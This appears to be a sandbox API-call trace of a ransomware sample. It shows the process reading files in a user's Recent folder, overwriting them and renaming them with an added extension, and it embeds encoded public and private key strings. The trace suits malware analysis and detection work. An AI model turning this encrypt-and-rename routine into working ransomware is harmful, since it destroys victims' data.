lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.537] GetCurrentThreadId () returned 0xa30 [0084.537] GetCurrentThreadId () returned 0xa30 [0084.538] GetCurrentThreadId () returned 0xa30 [0084.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XdgW2PShs.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xdgw2pshs.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.538] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.538] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.538] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x20ac [0084.538] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.538] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x20ac, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x20ac, lpOverlapped=0x0) returned 1 [0084.540] CloseHandle (hObject=0x124) returned 1 [0084.540] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XdgW2PShs.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xdgw2pshs.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.542] WriteFile (in: hFile=0x124, lpBuffer=0x1f90730*, nNumberOfBytesToWrite=0x20ac, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90730*, lpNumberOfBytesWritten=0x18f978*=0x20ac, lpOverlapped=0x0) returned 1 [0084.544] CloseHandle (hObject=0x124) returned 1 [0084.545] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XdgW2PShs.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xdgw2pshs.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XdgW2PShs.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xdgw2pshs.lnk.zv7un")) returned 1 [0084.546] GetCurrentThreadId () returned 0xa30 [0084.546] GetCurrentThreadId () returned 0xa30 [0084.547] GetCurrentThreadId () returned 0xa30 [0084.547] GetCurrentThreadId () returned 0xa30 [0084.547] GetCurrentThreadId () returned 0xa30 [0084.547] GetCurrentThreadId () returned 0xa30 [0084.547] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe21689c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe21689c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe218eb20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe12, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="xe-Wv9.mkv.lnk", cAlternateFileName="XE-WV9~1.LNK")) returned 1 [0084.547] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.547] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.547] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xe-Wv9.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xe-wv9.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe21689c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe21689c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe218eb20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe12)) returned 1 [0084.547] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xe-Wv9.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xe-wv9.mkv.lnk")) returned 0x20 [0084.547] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xe-Wv9.mkv.lnk", dwFileAttributes=0x80) returned 1 [0084.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0084.550] GetCurrentThreadId () returned 0xa30 [0084.550] GetCurrentThreadId () returned 0xa30 [0084.550] GetCurrentThreadId () returned 0xa30 [0084.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.551] GetCurrentThreadId () returned 0xa30 [0084.551] GetCurrentThreadId () returned 0xa30 [0084.551] GetCurrentThreadId () returned 0xa30 [0084.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xe-Wv9.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xe-wv9.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.551] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.551] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.551] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xe12 [0084.551] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.551] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xe12, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xe12, lpOverlapped=0x0) returned 1 [0084.553] CloseHandle (hObject=0x124) returned 1 [0084.553] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xe-Wv9.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xe-wv9.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.555] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xe12, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xe12, lpOverlapped=0x0) returned 1 [0084.557] CloseHandle (hObject=0x124) returned 1 [0084.560] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xe-Wv9.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xe-wv9.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xe-Wv9.mkv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xe-wv9.mkv.lnk.zv7un")) returned 1 [0084.562] 